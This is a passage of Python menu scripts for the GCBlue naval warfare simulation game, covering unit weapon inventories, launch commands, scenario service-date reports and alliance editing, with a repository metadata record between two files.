if UI.GetSpeed() + speed <= max(UI.GetMaxSpeedForAltitude(UI.GetAlt()), UI.GetMaxSpeedForAltitudeAB(UI.GetAlt())):
if speed > Selected['Speed+']:
Selected['Speed+'] = speed
else:
if UI.GetSpeed() + speed <= UI.GetMaxSpeed():
if speed > Selected['Speed+']:
Selected['Speed+'] = speed
if UI.GetSpeed() >= speed:
if speed > Selected['Speed-']:
Selected['Speed-'] = speed
if BB.KeyExists('MissionTarget'):
MissionTarget = Read_Message_List(BB, 'MissionTarget')
if type(MissionTarget[1]) == type([]):
Selected['TargetDatum'] = 1
else:
Selected['TargetTrack'] = 1
if UI.GetTarget() > 0:
Selected['TargetSet'] = 1
if UI.HasFlightPort():
Selected['HasFlightPort'] = 1
if UI.HasMagazine():
Selected['HasMagazine'] = 1
if UI.GetLauncherCount() > 0:
Selected['Launchers'] = 1
Loaded_List = Selected['WeaponList']
Potential_Load_List = Selected['MagWeaponList']
for launcher_num in xrange(UI.GetLauncherCount()):
weap_name = UI.GetLauncherWeaponName(launcher_num)
launcher = UI.GetLauncherInfo(launcher_num)
loaded_qty = launcher.Quantity
load_qty = UI.GetLauncherQuantity(launcher_num)
if weap_name in Loaded_List:
Loaded_List[weap_name][0] = Loaded_List[weap_name][0] + loaded_qty
Loaded_List[weap_name][1] = Loaded_List[weap_name][1] + load_qty
else:
Loaded_List[weap_name] = [loaded_qty, load_qty]
for weapon in xrange(UI.GetLauncherTypesCount(launcher_num)):
stored_weap_name = UI.GetLauncherTypeName(launcher_num, weapon)
mag_qty = UI.GetMagazineQuantity(stored_weap_name)
if stored_weap_name in Potential_Load_List:
Potential_Load_List[stored_weap_name] = Potential_Load_List[stored_weap_name] + mag_qty
else:
Potential_Load_List[stored_weap_name] = mag_qty
Selected['WeaponList'] = Loaded_List
Selected['MagWeaponList'] = Potential_Load_List
if UI.HasThrottle():
Selected['HasThrottle'] = 1
if HasIronBombs(UI):
Selected['HasBombs'] = 1
if HasGBU(UI):
Selected['HasGBU'] = 1
task_list = UI.GetTaskList()
if (task_list.Size() > 0):
for task in xrange(task_list.Size()):
task_name = task_list.GetString(task)
if task_name in Selected['Tasks']:
Selected['Tasks'][task_name] = Selected['Tasks'][task_name] + 1
else:
Selected['Tasks'][task_name] = 1
for sensor_num in xrange(UI.GetSensorCount()):
sensor = UI.GetSensorInfo(sensor_num)
if sensor.type == 1:
Selected['HasRadar'] = 1
elif sensor.type == 2:
Selected['HasESM'] = 1
elif sensor.type == 4:
Selected['HasSonarP'] = 1
elif sensor.type == 8:
Selected['HasSonarA'] = 1
elif sensor.type == 16:
Selected['HasOptical'] = 1
elif sensor.type == 32:
Selected['HasECM'] = 1
if UI.IsInFormation() or UI.IsFormationLeader():
if UI.IsFormationLeader():
Selected['FormLeader'] += 1
else:
Selected['FormMember'] += 1
if UI.GetFormationMode() == 1:
Selected['FormModePace'] += 1
else:
Selected['FormModeSprint'] += 1
for num in [16,17,18,22,32,33,34,64,129,256,258,257]: #unit classification id's
if BB.KeyExists('%s_EngageLimit' % num) and int(BB.ReadMessage('%s_EngageLimit' % num)) > int(Selected['%s_EngageLimit' % num]):
Selected['%s_EngageLimit' % num] = BB.ReadMessage('%s_EngageLimit' % num)
elif not BB.KeyExists('%s_EngageLimit' % num):
limit = {32:1,33:1,34:1,256:2,258:2,257:24,64:1,16:4,17:6,18:12,22:24,129:1}
BB.WriteGlobal('%s_EngageLimit' % num,'%s' % limit[num])
Selected['%s_EngageLimit' % num] = limit[num]
Selected['UnitCount'] = Selected['UnitCount']+1
return Selected
#def Get_Relevant_Stock(UI, loadouts_dict):
# prof = hotshot.Profile("log/GetRelevantStock.prof")
# prof.runcall(Get_Relevant_Stock2, UI, loadouts_dict)
# prof.close()
def Get_Relevant_Stock(UI, loadouts_dict):
#do we have children?
children = 0
if UI.HasFlightPort():
FP = UI.GetFlightPortInfo()
if FP.GetUnitCount() > 0:
children = 1
#find all stocks for children
child_stocks = {}
done_list = []
if children:
for n in xrange(FP.GetUnitCount()):
UIn = FP.GetUnitPlatformInterface(n)
if UIn.GetClass() not in done_list:
done = False
for armament in loadouts_dict:
if UIn.GetClass() in loadouts_dict[armament]:
keys = sorted(loadouts_dict[armament][UIn.GetClass()].iterkeys())
for loadout in keys:
for item in loadouts_dict[armament][UIn.GetClass()][loadout]:
if UI.CanMagazineAcceptItem(item):
child_stocks[item] = None
done = True
done_list.append(UIn.GetClass())
if not done:
for L in xrange(UIn.GetLauncherCount()):
for x in xrange(UIn.GetLauncherTypesCount(L)):
item = UIn.GetLauncherTypeName(L, x)
if UI.CanMagazineAcceptItem(item):
child_stocks[item] = None
done_list.append(UIn.GetClass())
#find all stocks for parent.
parent_stocks = {}
for L in xrange(UI.GetLauncherCount()):
for x in xrange(UI.GetLauncherTypesCount(L)):
item = UI.GetLauncherTypeName(L, x)
if UI.CanMagazineAcceptItem(item):
parent_stocks[item] = None
classified = {'Parent':{}, 'Child':{}}
categories = [['MIS', 'Missile'], ['ROC', 'Rocket'], ['GBU', 'Guided Bomb'], ['UBU', 'Unguided Bomb'], ['GUN', 'Gun Round'], ['TRP', 'Torpedo'], ['CM', 'Counter Measure'], ['UNK', 'Unknown Item Type'], ['NUC', 'Nuclear'], ['MIN', 'Mines'], ['FUEL', 'Fuel Tanks'], ['BUI', 'Sonobuoys']]
for owner in classified:
for category in categories:
try:
classified[owner][category[0]] = {}
except KeyError:
classified[owner] = {category[0]:{}}
#classify the stocks now. Begin with parent stocks.
for stock in parent_stocks:
done = False
owner = 'Parent'
#just primary categories for now.
if not done:
classification = UI.QueryDatabase('missile',stock,'ClassificationId').GetRow(0).GetString(0)
if classification == '64': #missile
if 'Nuclear' in UI.QueryDatabase('missile',stock,'DamageModel').GetRow(0).GetString(0):
classified[owner]['NUC'][stock] = None
else:
classified[owner]['MIS'][stock] = None
done = True
if not done:
ballistic_type = UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0)
if ballistic_type != 'Error':
if 'Nuclear' in UI.QueryDatabase('ballistic',stock,'DamageModel').GetRow(0).GetString(0):
classified[owner]['NUC'][stock] = None
else:
if ballistic_type == '1': #unguided bomb
classified[owner]['UBU'][stock] = None
elif ballistic_type == '3': #guided bomb
classified[owner]['GBU'][stock] = None
elif ballistic_type == '0': #Gun Round
classified[owner]['GUN'][stock] = None
elif ballistic_type == '2': #Gun round
classified[owner]['GUN'][stock] = None
elif ballistic_type == '5': #rockets
classified[owner]['ROC'][stock] = None
elif ballistic_type == '4': #gun fired cm
classified[owner]['CM'][stock] = None
done = True
if not done:
torpedo_type = UI.QueryDatabase('torpedo',stock,'ClassificationId').GetRow(0).GetString(0)
if torpedo_type != 'Error':
if 'Nuclear' in UI.QueryDatabase('torpedo',stock,'DamageModel').GetRow(0).GetString(0):
classified[owner]['NUC'][stock] = None
else:
if torpedo_type == '130': #torpedo
classified[owner]['TRP'][stock] = None
elif torpedo_type == '138': #mine
classified[owner]['MIN'][stock] = None
done = True
if not done:
if UI.QueryDatabase('sonobuoy',stock,'ClassificationId').GetRow(0).GetString(0) == '132': #sonobuoy
classified[owner]['BUI'][stock] = None
done = True
if not done:
classification = UI.QueryDatabase('cm',stock,'ClassificationId').GetRow(0).GetString(0)
if classification in ['36', '136']:
classified[owner]['CM'][stock] = None
done = True
if not done:
classified[owner]['UNK'][stock] = None
if children:
for stock in child_stocks:
done = False
owner = 'Child'
#just primary categories for now.
if not done:
classification = UI.QueryDatabase('missile',stock,'ClassificationId').GetRow(0).GetString(0)
if classification == '64': #missile
if 'Nuclear' in UI.QueryDatabase('missile',stock,'DamageModel').GetRow(0).GetString(0):
classified[owner]['NUC'][stock] = None
else:
classified[owner]['MIS'][stock] = None
done = True
if not done:
ballistic_type = UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0)
if ballistic_type != 'Error':
if 'Nuclear' in UI.QueryDatabase('ballistic',stock,'DamageModel').GetRow(0).GetString(0):
classified[owner]['NUC'][stock] = None
else:
if ballistic_type == '1': #unguided bomb
classified[owner]['UBU'][stock] = None
elif ballistic_type == '3': #guided bomb
classified[owner]['GBU'][stock] = None
elif ballistic_type == '0': #Gun Round
classified[owner]['GUN'][stock] = None
elif ballistic_type == '2': #Gun round
classified[owner]['GUN'][stock] = None
elif ballistic_type == '5': #rockets
classified[owner]['ROC'][stock] = None
elif ballistic_type == '4': #gun fired cm
classified[owner]['CM'][stock] = None
done = True
if not done:
torpedo_type = UI.QueryDatabase('torpedo',stock,'ClassificationId').GetRow(0).GetString(0)
if torpedo_type != 'Error':
if 'Nuclear' in UI.QueryDatabase('torpedo',stock,'DamageModel').GetRow(0).GetString(0):
classified[owner]['NUC'][stock] = None
else:
if torpedo_type == '130': #torpedo
classified[owner]['TRP'][stock] = None
elif torpedo_type == '138': #mine
classified[owner]['MIN'][stock] = None
done = True
if not done:
if UI.QueryDatabase('sonobuoy',stock,'ClassificationId').GetRow(0).GetString(0) == '132': #sonobuoy
classified[owner]['BUI'][stock] = None
done = True
if not done:
classification = UI.QueryDatabase('cm',stock,'ClassificationId').GetRow(0).GetString(0)
if classification in ['36', '136']:
classified[owner]['CM'][stock] = None
done = True
if not done:
classified[owner]['UNK'][stock] = None
return classified
def ToggleFilterByYear(SM, state):
try:
SM.SetFilterByYear(state)
except:
#SM is probably UI...
SM = SM.GetScenarioInterface()
SM.SetFilterByYear(state)
def MenuLaunchCommand(interface, *args):
#get our weapon name back
#load Selected from the first unit we can find the key saved to.
#group or single?
group = False
try:
#maybe we are a group
test = interface.GetUnitCount()
group = True
except:
#maybe we are not.
group = False
if group:
for unit in xrange(interface.GetUnitCount()):
UI = interface.GetPlatformInterface(unit)
BB = UI.GetBlackboardInterface()
Selected = Read_Message_Dict(BB, 'Selected')
break
else:
UI = interface
BB = UI.GetBlackboardInterface()
Selected = Read_Message_Dict(BB, 'Selected')
#target or datum?
if len(args) == 2:
#we were given a target to engage
target_id = int(args[0])
weapon_n = args[1]
target = True
track = UI.GetTrackById(target_id)
Alt = track.Alt
Lon = track.Lon
Lat = track.Lat
elif len(args) == 3:
#we are given a datum to engage
Lon = args[0]
Lat = args[1]
Alt = -1
weapon_n = args[2]
target = False
elif len(args) == 4:
#we are given a datum to engage, includes altitude
Lon = args[0]
Lat = args[1]
Alt = args[2]
weapon_n = args[3]
target = False
#now get the weapon name back.
loaded_list = Selected['WeaponList']
weapon_list = loaded_list.keys()
weapon_list.sort()
weapon_name = weapon_list[weapon_n]
unit_count = Selected['UnitCount']
def Execute_Launch_Target(UI, excuses, weapon_name, target_id):
name = UI.GetPlatformName()
want_shoot = False
for launcher_n in xrange(UI.GetLauncherCount()):
if weapon_name == UI.GetLauncherWeaponName(launcher_n):
#then we have the chosen weapon, proceed to launch.
want_shoot = True
launcher = UI.GetLauncherInfo(launcher_n)
UI.SetTarget(target_id)
UI.HandoffTargetToLauncher(launcher_n)
launcher = UI.GetLauncherInfo(launcher_n)
status, excuse = Check_Status(UI, launcher, 1)
if status and Use_Launcher_On_Target_Amram(UI, launcher_n, -2, target_id):
UI.DisplayMessage('%s, %s' % (name,excuse))
return want_shoot, excuses
else:
excuses.append(excuse)
return want_shoot, excuses
def Execute_Launch_Datum(UI, excuses, Alt, Lon, Lat, weapon_name):
name = UI.GetPlatformName()
if Alt == -1:
Alt = UI.GetMapTerrainElevation(Lon, Lat)+1
want_shoot = False
for launcher_n in xrange(UI.GetLauncherCount()):
if weapon_name == UI.GetLauncherWeaponName(launcher_n):
#then we have the chosen weapon, proceed to launch.
want_shoot = True
launcher = UI.GetLauncherInfo(launcher_n)
UI.SendDatumToLauncher(Lon, Lat, Alt, launcher_n)
launcher = UI.GetLauncherInfo(launcher_n)
status, excuse = Check_Status(UI, launcher, 1)
if status and Use_Launcher_On_Target_Amram(UI, launcher_n, -2, Lon, Lat):
UI.DisplayMessage('%s, %s' % (name,excuse))
return want_shoot, excuses
else:
excuses.append(excuse)
return want_shoot, excuses
#determine weapon name and perform engagement.
if group:
#we have a group, treat this a bit different
#try to get the weapon name back from Selected
GI = interface
#find closest unit
friendly_range_list = []
for unit in xrange(GI.GetUnitCount()):
UI = GI.GetPlatformInterface(unit)
if target:
track = UI.GetTrackById(target_id)
target_lon = track.Lon
target_lat = track.Lat
target_alt = track.Alt
else:
target_lon = Lon
target_lat = Lat
target_alt = UI.GetMapTerrainElevation(Lon, Lat)
if target_alt < -400:
target_alt = -400
target_alt = target_alt * 0.001
map_range = UI.GetRangeToDatum(Lon, Lat)
true_range = sqrt(map_range**2 + target_alt**2)
friendly_range_list.append([true_range, UI.GetPlatformId()])
friendly_range_list.sort()
#begin engagement
for unit in friendly_range_list:
for n in xrange(GI.GetUnitCount()):
UI = GI.GetPlatformInterface(n)
if UI.GetPlatformId() == unit[1]:
#we have the next unit in the sorted list
break
excuses = []
if target:
want_shoot, excuses = Execute_Launch_Target(UI, excuses, weapon_name, target_id)
else:
want_shoot, excuses = Execute_Launch_Datum(UI, excuses, Alt, Lon, Lat, weapon_name)
else:
#its just the one unit, proceed direct to launcher selection.
#try to get the weapon name back from weapon_n
UI = interface
excuses = []
name = UI.GetPlatformName()
if target:
want_shoot, excuses = Execute_Launch_Target(UI, excuses, weapon_name, target_id)
else:
want_shoot, excuses = Execute_Launch_Datum(UI, excuses, Alt, Lon, Lat, weapon_name)
if want_shoot:
UI.DisplayMessage('%s did not shoot, reasons:%s' % (name, excuses))
def GetAllUnits(SM, date):
#iterative climb through the entire run of id's from 0 through 1e6
#repeated for all three alliances
date = DateString_DecimalYear(date)
Units = {}
for id in xrange(1000):
try:
trackName = SM.GetUnitNameById(id)
gotunit = True
except:
gotunit = False
if gotunit:
id = SM.GetUnitIdByName(trackName)
UI = SM.GetUnitInterface(trackName)
num = UI.GetPlatformAlliance()
if id != -1:
try:
Units[num][trackName] = id
except KeyError:
Units[num] = {}
Units[num][trackName] = id
problems = {}
for alliance in Units:
for track in Units[alliance]:
UI = SM.GetUnitInterface(track)
className = UI.GetPlatformClass()
UnitName = UI.GetPlatformName()
service = check_service(UI, className, date)
if not service:
#is this unit in service
problems = recordprob(problems, alliance, 'Units', track, 'Unit Not in Service')
if UI.GetLauncherCount() > 0:
for lnum in xrange(UI.GetLauncherCount()):
weapon = UI.GetLauncherWeaponName(lnum)
if weapon != 'Empty':
service = check_service(UI, weapon, date)
if not service:
#are its loaded items in service?
problems = recordprob(problems, alliance, 'Launcher Items', weapon, track, 'Loaded Item not in service')
if UI.HasFlightPort():
FP = UI.GetFlightPortInfo()
for n in xrange(FP.GetUnitCount()):
UIn = FP.GetUnitPlatformInterface(n)
childClass = UIn.GetPlatformClass()
childName = UIn.GetPlatformName()
service = check_service(UI, className, date)
if not service:
#are its landed child units in service?
problems = recordprob(problems, alliance, 'FlightPorts', UnitName, childClass, childName, 'Aircraft Not in service')
if UIn.GetLauncherCount() > 0:
for lnum in xrange(UIn.GetLauncherCount()):
weapon = UIn.GetLauncherWeaponName(lnum)
if weapon != 'Empty':
service = check_service(UI, weapon, date)
if not service:
#are weapons loaded on its landed child aircraft in service?
problems = recordprob(problems, alliance, 'Unit Armaments', UnitName, childClass, childName, weapon, 'Loaded Item Not in service')
if UI.HasMagazine():
items = UI.GetMagazineItems()
for item_n in xrange(items.Size()):
item = items.GetString(item_n)
if item != 'Fuel':
qty = UI.GetMagazineQuantity(item)
service = check_service(UI, item, date)
if not service:
#are weapons/items in the magazines in service?
problems = recordprob(problems, alliance, 'Magazine', UnitName, item, 'Supplied Item Not in service')
if len(problems.keys()) == 0:
problems = '\n'.join(('Nothing to Report.',
'Everything this script can currently',
'check appears to be acceptable.',
'===============================',
'All loaded/stocked weapons/items are',
'in service',
'===============================',
'All placed units, and child aircraft',
'are in service'
))
read_write_scenario_issue_reports(problems, 'WriteReport')
UI.DisplayMessage('Scan Complete')
def recordprob(dd, *args):
#handled up to 6 args, minimum 2.
if len(args) == 2:
arg0, arg1 = args
dd[arg0] = arg1
elif len(args) == 3:
arg0, arg1, arg2 = args
try:
dd[arg0][arg1] = arg2
except:
dd[arg0] = {}
dd[arg0][arg1] = arg2
elif len(args) == 4:
arg0, arg1, arg2, arg3 = args
try:
dd[arg0][arg1][arg2] = arg3
except:
try:
dd[arg0][arg1] = {}
dd[arg0][arg1][arg2] = arg3
except:
dd[arg0] = {}
dd[arg0][arg1] = {}
dd[arg0][arg1][arg2] = arg3
elif len(args) == 5:
arg0, arg1, arg2, arg3, arg4 = args
try:
dd[arg0][arg1][arg2][arg3] = arg4
except:
try:
dd[arg0][arg1][arg2] = {}
dd[arg0][arg1][arg2][arg3] = arg4
except:
try:
dd[arg0][arg1] = {}
dd[arg0][arg1][arg2] = {}
dd[arg0][arg1][arg2][arg3] = arg4
except:
dd[arg0] = {}
dd[arg0][arg1] = {}
dd[arg0][arg1][arg2] = {}
dd[arg0][arg1][arg2][arg3] = arg4
elif len(args) == 6:
arg0, arg1, arg2, arg3, arg4, arg5 = args
try:
dd[arg0][arg1][arg2][arg3][arg4] = arg5
except:
try:
dd[arg0][arg1][arg2][arg3] = {}
dd[arg0][arg1][arg2][arg3][arg4] = arg5
except:
try:
dd[arg0][arg1][arg2] = {}
dd[arg0][arg1][arg2][arg3] = {}
dd[arg0][arg1][arg2][arg3][arg4] = arg5
except:
try:
dd[arg0][arg1] = {}
dd[arg0][arg1][arg2] = {}
dd[arg0][arg1][arg2][arg3] = {}
dd[arg0][arg1][arg2][arg3][arg4] = arg5
except:
dd[arg0] = {}
dd[arg0][arg1] = {}
dd[arg0][arg1][arg2] = {}
dd[arg0][arg1][arg2][arg3] = {}
dd[arg0][arg1][arg2][arg3][arg4] = arg5
return dd
def traverse_dict_report(Menu, SM, problems):
if type(problems) != type({}):
Menu.AddItem('%s' % str(problems),'')
else:
for alliance in sorted(problems):
Menu.AddItem('%s: %s' % (str(alliance), SM.GetAllianceCountry(int(alliance))),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if type(problems[alliance]) == type({}):
#go deeper:
for sub1 in sorted(problems[alliance]):
if type(problems[alliance][sub1]) == type({}):
#go deeper
Menu.AddItem('%s' % str(sub1),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for sub2 in sorted(problems[alliance][sub1]):
if type(problems[alliance][sub1][sub2]) == type({}):
#go deeper:
Menu.AddItem('%s' % str(sub2),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for sub3 in sorted(problems[alliance][sub1][sub2]):
if type(problems[alliance][sub1][sub2][sub3]) == type({}):
#go deeper:
Menu.AddItem('%s' % str(sub3),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for sub4 in sorted(problems[alliance][sub1][sub2][sub3]):
if type(problems[alliance][sub1][sub2][sub3][sub4]) == type({}):
#go deeper:
Menu.AddItem('%s' % str(sub4),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for sub5 in sorted(problems[alliance][sub1][sub2][sub3][sub4]):
Menu.AddItem('%s Issue is %s' % (str(sub5), str(problems[alliance][sub1][sub2][sub3][sub4][sub5])),'')
Menu.EndSubMenu()
else:
Menu.AddItem('%s Issue is %s' % (str(sub4), str(problems[alliance][sub1][sub2][sub3][sub4])),'')
Menu.EndSubMenu()
else:
Menu.AddItem('%s Issue is %s' % (str(sub3), str(problems[alliance][sub1][sub2][sub3])),'')
Menu.EndSubMenu()
else:
Menu.AddItem('%s Issue is %s' % (str(sub2), str(problems[alliance][sub1][sub2])),'')
Menu.EndSubMenu()
else:
Menu.AddItem('%s Issue is %s' % (str(sub1), str(problems[alliance][sub1])),'')
else:
Menu.AddItem('%s' % str(problems[alliance]),'')
Menu.EndSubMenu()
def read_write_scenario_issue_reports(dd, param):
if param == 'GetReport':
#load up the report file, and provide the data to the player somehow.
#
#perhaps: if the file exists, read it in, and merge it with the menu automatically, with a disclaimer that the data was last generated on <recorded date/time>
with open(reportfile_path, 'r') as logfile:
return json.load(logfile)
elif param == 'Delete' and isfile(reportfile_path):
os.remove(reportfile_path)
elif param == 'WriteReport':
#take the provided dict file and write it down.
with open(reportfile_path, 'w') as logfile:
json.dump(dd, logfile, ensure_ascii=False, skipkeys=True, indent=2, sort_keys=True)
def check_service(UI, className, date):
if className == UI.GetPlatformClass():
if UI.HasThrottle():
tab = 'air'
elif UI.IsSurface():
tab = 'ship'
elif UI.IsFixed() or UI.IsGroundVehicle():
tab = 'ground'
elif UI.IsSub():
tab = 'sub'
else:
tab = 'simpleair'
if not UI.IsGroundVehicle() or not UI.IsFixed() or not tab == 'ground':
date1 = float(UI.QueryDatabase(tab ,className, 'InitialYear').GetRow(0).GetString(0))
date2 = float(UI.QueryDatabase(tab ,className, 'FinalYear').GetRow(0).GetString(0))
return date1 <= date <= date2
else:
return True
else:
country = ''
if UI.HasThrottle():
tab = 'air'
elif UI.IsSurface():
tab = 'ship'
elif UI.IsFixed() or UI.IsGroundVehicle():
tab = 'ground'
elif UI.IsSub():
tab = 'sub'
else:
tab = 'simpleair'
#if not UI.IsGroundVehicle() or not UI.IsFixed() or not tab == 'ground':
if UI.IsSurface() or UI.IsFixed() and UI.HasFlightPort():
country = UI.QueryDatabase(tab, UI.GetPlatformClass(), 'Country').GetRow(0).GetString(0)
if country in servicekit:
if className in servicekit[country]:
date1 = servicekit[country][className]['Entry']
date2 = servicekit[country][className]['Exit']
return date1 <= date <= date2
else:
return False
else:
classified, tab = classify_item(UI, className)
if classified:
try:
date1 = float(UI.QueryDatabase(tab ,className, 'InitialYear').GetRow(0).GetString(0))
date2 = float(UI.QueryDatabase(tab ,className, 'FinalYear').GetRow(0).GetString(0))
return date1 <= date <= date2
except:
UI.DisplayMessage('This Unit(%s : %s) failed to classify, please report this' % (UI.GetPlatformName(), className, ))
else:
return True
#def BuildEditMenu(UnitMenu, SM):
# prof = hotshot.Profile("log/EditMenu.prof")
# prof.runcall(BuildEditMenu2, UnitMenu, SM)
# prof.close()
def BuildEditMenu(UnitMenu, SM):
UnitMenu.Clear()
UnitMenu.AddItem('Scenario', '')
UnitMenu.BeginSubMenu()
#UnitMenu.AddItem('Save scenario', 'SaveGame')
dt = SM.GetScenarioDateAsString()
date_string = [dt[:4], dt[5:7],dt[8:10],dt[-6:-4],dt[-4:-2],dt[-2:]]
UnitMenu.AddItemUI('Edit name', 'SetScenarioName', 'Text Scenario name')
UnitMenu.AddItemUI('Edit description', 'SetScenarioDescription', 'Paragraph ScenarioDescription')
UnitMenu.AddItemUI('Set date and time', 'SetDateTimeString', 'Text Enter YYYY/MM/DD HH:MM:SS')
UnitMenu.AddItem('Filter','')
UnitMenu.BeginSubMenu()
filterByYearActive = SM.GetFilterByYear()
if (filterByYearActive):
UnitMenu.AddItemWithParam('Disable year filtering', 'SetFilterByYear', 0)
else:
UnitMenu.AddItemWithParam('Enable year filtering', 'SetFilterByYear', 1)
filterByCountryActive = SM.GetFilterByCountry()
if (filterByCountryActive):
UnitMenu.AddItemWithParam('Disable country filtering', 'SetFilterByCountry', 0)
else:
UnitMenu.AddItemWithParam('Enable country filtering', 'SetFilterByCountry', 1)
UnitMenu.EndSubMenu()
UnitMenu.EndSubMenu()
current_team = SM.GetUserAlliance()
UnitMenu.AddItem('Side data (%s)' % SM.GetAllianceCountry(current_team),'')
UnitMenu.BeginSubMenu()
UnitMenu.AddItem('Change side','ToggleAlliance')
UnitMenu.AddItemUI('Set country', 'SetAllianceCountry', 'Text Enter country name')
UnitMenu.AddItemUI('Edit briefing', 'SetBriefing', 'Paragraph Briefing');
UnitMenu.AddItemUI('Import briefing', 'ImportBriefing', 'File *.txt');
if (SM.IsAlliancePlayable(current_team)):
UnitMenu.AddItemWithParam('Set non-playable', 'SetAlliancePlayable', 0)
else:
UnitMenu.AddItemWithParam('Set playable', 'SetAlliancePlayable', 1)
BuildROEMenu(UnitMenu, SM)
StartGoalTree(UnitMenu, SM)
UnitMenu.EndSubMenu()
AmramCreateAllianceUnitMenu(UnitMenu, SM)
#BuildCreateUnitMenu(UnitMenu, SM)
UnitMenu.AddItem('Scenario Report',''); UnitMenu.BeginSubMenu(); UnitMenu.SetStayOpen(1)
UnitMenu.AddItemWithTextParam('Generate Scenario Issue Report','GetAllUnits', '%s/%s/%s' % (date_string[0],date_string[1],date_string[2]))
if isfile(reportfile_path):
mod_date = modification_date(reportfile_path)
UnitMenu.AddItemWithTextParam('Delete Report: %s' % mod_date,'read_write_scenario_issue_reports', 'Delete')
UnitMenu.AddItem('Report: %s' % mod_date,''); UnitMenu.BeginSubMenu(); UnitMenu.SetStayOpen(1)
report = read_write_scenario_issue_reports('', 'GetReport')
traverse_dict_report(UnitMenu, SM, report)
UnitMenu.EndSubMenu()
UnitMenu.EndSubMenu()
UnitMenu.AddItem('Add graphic','')
UnitMenu.BeginSubMenu()
UnitMenu.AddItemUI('Dot', 'AddMapText', 'Datum');
UnitMenu.EndSubMenu()
sea_state = SM.GetSeaState()
UnitMenu.AddItem('Weather','')
UnitMenu.BeginSubMenu()
UnitMenu.AddItem('Sea State','')
UnitMenu.BeginSubMenu()
for n in range(0, 8):
if (n != sea_state):
UnitMenu.AddItemWithParam('%d' % n, 'SetSeaState', n)
else:
UnitMenu.AddItem('%d [x]' % n, '')
UnitMenu.EndSubMenu()
UnitMenu.AddItem('Sonar SVP','')
UnitMenu.BeginSubMenu()
nTemplates = SM.GetNumberSonarTemplates()
currentTemplate = SM.GetSonarTemplate()
for n in range(0, nTemplates):
if (n == currentTemplate):
UnitMenu.AddItemWithParam('%s [x]' % SM.GetTemplateName(n), 'SetSonarTemplate', n)
else:
UnitMenu.AddItemWithParam(SM.GetTemplateName(n), 'SetSonarTemplate', n)
UnitMenu.AddItem('Edit SVP', '*ShowSonarPanel')
UnitMenu.EndSubMenu()
UnitMenu.EndSubMenu()
AlliancesMenu(UnitMenu, SM)
def CreateAlliance(SM, name, n):
SM.CreateAlliance(n, '%s' % name)
def ToggleAffiliation(SM, param):
relations = ['Unknown', 'Friendly', 'Neutral', 'Hostile']
a, b = param.split('~')
affiliation = SM.GetAllianceRelationship(int(a),int(b)) + 1
if affiliation > 3:
affiliation = 1
SM.SetAllianceRelationship(int(a), int(b), relations[affiliation])
def AlliancesMenu(Menu, SM):
relations = ['Unknown', 'Friendly', 'Neutral', 'Hostile']
Menu.AddItem('Alliance Management','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
alliance_max = 15
alliances = 0
for n in xrange(alliance_max):
if SM.GetAllianceCountry(n) != 'Error':
Menu.AddItem('%s Relations' % SM.GetAllianceCountry(n),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for x in xrange(alliance_max):
if x != n and SM.GetAllianceCountry(x) != 'Error':
Menu.AddItemWithTextParam('%s to %s' % (relations[SM.GetAllianceRelationship(x,n)], SM.GetAllianceCountry(x)),'ToggleAffiliation','%s~%s' % (n,x))
Menu.EndSubMenu()
if n > alliances:
alliances = n
if alliances < alliance_max:
Menu.AddItem('===================','')
Menu.AddItemUIWithParam('Create New Alliance','CreateAlliance','Text Name of New Alliance?', alliances+1)
Menu.EndSubMenu()
#
#
# | {
"repo_name": "gcblue/gcblue",
"path": "scripts/Menu.py",
"copies": "1",
"size": "98539",
"license": "bsd-3-clause",
"hash": -8114457774402351000,
"line_mean": 45.6351159489,
"line_max": 353,
"alpha_frac": 0.5520149382,
"autogenerated": false,
"ratio": 3.7481551920882463,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.4800170130288246,
"avg_score": null,
"num_lines": null
} |
#Amram Menu Items.
import sys, os, math
from os.path import dirname, abspath, join, normpath
sys.path.append(abspath(join(dirname(__file__), 'Amram_Script_Data')))
sys.path.append(abspath(join(dirname(__file__), 'Magazine_Generator_Module')))
from UnitCommands import *
from Amram_Utilities import *
from Amram_AI_Weapon_Lists import *
from magazine_generator import *
from EditMenu import BuildCreateUnitMenu, BuildRenameMenu, BuildPagedCreateChildMenuUnit, BuildPagedLoadoutMenu, BuildRandomizeEditMenu
from Alliances import *
import Menu as menu
from DevMode import *
from MissionEditCommands import DeleteGroup
def BuildAmramMenu(Menu, interface, EditMode = False):
Menu.Clear()
Menu.SetStayOpen(1)
Selected = SelectedUnitInventory(interface)
#store the Selected list, we need to do it here under the operative interface.
#it cannot be stored for the group, so it needs to be stored on every selected unit
#annoying, but necessary until I can get AddItemUIWithTextParam('','','Target','') working right.
#test for group:
try:
#GetPlatformId ONLY works on UnitInfo, so if we throw an error, we got called by GroupInfo instead
test = interface.GetPlatformId()
group = False
single = True
except:
group = True
single = False
Flight = False
if group:
#we're a group, proceed as such
GI = interface
for unit in xrange(interface.GetUnitCount()):
UI = GI.GetPlatformInterface(unit)
BB = UI.GetBlackboardInterface()
Write_Message_List(BB, 'Selected', Selected)
if UI.HasFlightPort():
Flight = True
else:
#we're solo
UI = interface
BB = UI.GetBlackboardInterface()
Write_Message_List(BB, 'Selected', Selected)
if UI.HasFlightPort():
Flight = True
#######################
## ##
## Unit Editing ##
## ##
#######################
if EditMode and single:
loadouts_dict, aircraft_dict = GetLoadouts(interface)
else:
loadouts_dict = None
aircraft_dict = None
#######################
## ##
## Unit Commands ##
## ##
#######################
# Multiplayer options
if single:
MultiplayerYieldTakeOwnership(Menu, interface)
if EditMode:
Menu.AddItem('Unit Operation','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
# Navigation commands
NavigationCommands(Menu, interface, Selected, EditMode)
# Combat commands
if Selected['Launchers'] > 0:
CombatMenuItems(Menu, interface, Selected)
# Systems commands
SystemsMenuItems(Menu, interface, Selected)
# Management commands
ManagementMenuItems(Menu, interface, Selected)
#EditMenu Unit Creation
if EditMode:
Menu.EndSubMenu()
Unit_Characteristics_Menu(Menu, interface, Selected, loadouts_dict, aircraft_dict, Flight, group, single)
#Dev Mode commands
